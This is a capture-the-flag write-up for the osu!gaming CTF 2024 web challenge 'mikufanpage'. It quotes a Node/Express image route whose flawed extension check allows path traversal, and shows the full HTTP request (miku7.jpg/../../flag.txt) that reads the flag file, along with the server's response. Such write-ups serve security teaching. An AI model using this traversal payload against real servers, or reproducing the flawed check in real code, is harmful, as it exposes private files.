

MAGNET1C H1LLS



osu!gaming CTF 2024

NAME	mikufanpage
POINTS	104
FLAG	osu(miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku)

DESCRIPTION: miku <3 (epilepsy warning)

SOLUTION:

```
app.get("/image", (req, res) => {  
  if (req.query.path.split(".")[1] === "png" || req.query.path.split  
  (".")[1] === "jpg") { // only allow images  
    res.sendFile(path.resolve('./img/' + req.query.path));  
  } else {  
    res.status(403).send('Access Denied');  
  }  
});
```

All the pictures that were displayed on the page are in the `/img` directory; in the downloaded archive you can see that the flag is also in the same folder. Most likely this is LFI. The only problem on our way is checking the extension at the first index of the line after the dot. It is enough to specify a valid extension and then go back one directory.

Request

Pretty	Raw	Hex	Hackvector
<pre>1 GET /image?path=miku7.jpg/../../flag.txt HTTP/1.1 2 Host: mikufanpage.web.osugaming.lol 3 Sec-Ch-Ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121" 4 Sec-Ch-Ua-Mobile: ?0 5 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 6 Sec-Ch-Ua-Platform: "Linux" 7 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 8 Sec-Fetch-Site: same-origin 9 Sec-Fetch-Mode: no-cors 10 Sec-Fetch-Dest: image 11 Referer: https://mikufanpage.web.osugaming.lol/ 12 Accept-Encoding: gzip, deflate, br 13 Accept-Language: en-US,en;q=0.9,ru;q=0.8 14 If-None-Match: W/"143531-18daf783050" 15 If-Modified-Since: Fri, 16 Feb 2024 01:11:46 GMT 16 Connection: close</pre>			

```
Response
Pretty Raw Hex Render Hackvortor
1 HTTP/1.1 200 OK
2 Server: nginx/1.18.0 (Ubuntu)
3 Date: Sat, 09 Mar 2024 09:23:51 GMT
4 Content-Type: text/plain; charset=UTF-8
5 Content-Length: 69
6 Connection: close
7 X-Powered-By: Express
8 Accept-Ranges: bytes
9 Cache-Control: public, max-age=0
10 Last-Modified: Fri, 16 Feb 2024 01:11:46 GMT
11 ETag: W/"45-18daf783050"
12
13 osufmiku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_
```